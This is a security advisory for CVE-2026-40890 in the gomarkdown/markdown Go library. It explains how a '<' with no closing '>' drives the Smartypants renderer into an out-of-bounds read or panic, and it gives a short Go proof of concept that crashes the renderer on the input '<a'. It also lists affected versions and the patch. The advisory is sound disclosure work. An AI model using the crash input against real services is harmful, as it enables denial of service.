CVE-2026-40890

Description

### Summary Processing a malformed input containing a `<` character that is not followed by a `>` character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic. ### Details The `smartLeftAngle()` function in `html/smartypants.go:367-376` performs an out-of-bounds slice operation when processing a `<` character that is not followed by a `>` character anywhere in the remaining text. https://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376 If the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic. ### PoC ```golang package main import ( "bytes" "fmt" "github.com/gomarkdown/markdown/html" ) func main() { src := []byte("<a") fmt.Printf("Input: %q (len=%d, cap=%d)\n", src, len(src), cap(src)) var buf bytes.Buffer sp := html.NewSmartypantsRenderer(html.Smartypants) sp.Process(&buf, src) // panics: slice bounds out of range fmt.Printf("Output: %q\n", buf.String()) } ``` ### Impact This vulnerability will lead to a Denial of Service / panic on the processing service. -- The Datadog Security Team

Affected packages (2)

• Debian/golang-github-gomarkdown-markdownfrom 0
• Go/github.com/gomarkdown/markdownfrom 0, < 0.0.0-20260411013819-759bbc3e3207

CVSS scores

References (5)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-40890
• ADVISORYhttps://security-tracker.debian.org/tracker/CVE-2026-40890
• PATCHhttps://github.com/gomarkdown/markdown
• WEBhttps://github.com/gomarkdown/markdown/commit/759bbc3e32073c3bc4e25969c132fc520eda2778
• WEBhttps://github.com/gomarkdown/markdown/security/advisories/GHSA-77fj-vx54-gvh7